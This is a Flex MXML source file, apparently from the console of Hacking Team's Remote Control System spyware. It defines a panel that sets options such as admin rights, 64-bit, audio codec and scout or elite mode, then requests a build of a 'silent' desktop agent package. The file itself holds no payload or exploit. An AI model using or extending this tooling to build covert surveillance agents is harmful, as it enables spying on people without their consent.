hackedteam/rcs-console

View on GitHub
src/it/ht/rcs/console/operations/view/agents/build/desktop/DskSilent.mxml

Summary

Maintainability
Test Coverage
<?xml version="1.0" encoding="utf-8"?>
<s:Group xmlns:fx="http://ns.adobe.com/mxml/2009" 
         xmlns:s="library://ns.adobe.com/flex/spark" 
         xmlns:mx="library://ns.adobe.com/flex/mx" width="100%" height="100%" xmlns:build="it.ht.rcs.console.operations.view.agents.build.*">
  
  <fx:Script>
    <![CDATA[
      import it.ht.rcs.console.monitor.controller.LicenseManager;
      import it.ht.rcs.console.operations.view.configuration.ConfigurationView;
      import it.ht.rcs.console.task.controller.DownloadManager;
      import it.ht.rcs.console.utils.AlertPopUp;
      
      import locale.R;
      
      import mx.core.UIComponent;
      import mx.managers.PopUpManager;
      import mx.rpc.events.FaultEvent;
      import mx.rpc.events.ResultEvent;
      
      [Bindable]
      private var _platform:String;
      
      [Bindable]
      public var configView:ConfigurationView;
      
      protected function create():void
      {
        var params:Object = {platform: parentDocument.platform, 
                             binary: {demo: createBtn.demo.selected, admin: admin.selected}, 
                             melt: {admin: admin.selected, codec: codec.selected, bit64: bit64.selected, scout: !createBtn.elite.selected},
                             sign: {}};
          
        params['factory'] = {_id: parentDocument.factory._id};
        
        var filename:String = parentDocument.factory.name + "_" + parentDocument.platform + '_silent.zip'
        
        DownloadManager.instance.createTask("build", filename, params, onSuccess, onFailure);
      }
      
      private function onSuccess(e:ResultEvent):void
      {
        PopUpManager.removePopUp(((parentDocument as UIComponent).parentDocument).hostComponent);
      }
      
      private function onFailure(e:FaultEvent):void
      {
        AlertPopUp.show(R.get('TASK_ALREADY_CREATED'));
      }
      
      public function set platform(platform:*):void
      {
        if (platform == null)
          return;
        
        _platform = platform;
        
        createBtn.platforms = [platform];
      }
      
    ]]>
  </fx:Script>
  
  <s:CheckBox left="10" top="10" id="admin" label="{R.get('REQUIRE_ADMIN')}" fontWeight="bold" selected="false" visible="{false}"/>
  <s:TextArea left="25" top="25" width="280" height="55" borderVisible="false"
              contentBackgroundAlpha="0.0" editable="false"
              text="{R.get('REQUIRE_ADMIN_DESC')}" visible="{false}"/>
  
  <s:CheckBox left="10" top="70" id="bit64" label="{R.get('INCLUDE_64BIT')} (100 KiB)" fontWeight="bold" selected="true" visible="{false}"/>
  <s:CheckBox left="10" top="90" id="codec" label="{R.get('INCLUDE_AUDIO')} (200 KiB)" fontWeight="bold" selected="true" visible="{false}"/>

  <!--
  <s:CheckBox left="10" top="120" id="sign" label="{R.get('SIGN_CODE')}" fontWeight="bold" selected="false" enabled="false" visible="{_platform == 'windows'}"/>
  -->
  
  <build:CreateWithDemoButton id="createBtn" enableElite="true" left="10" bottom="0" right="10" create="{create}" configView="{configView}"/>
  
</s:Group>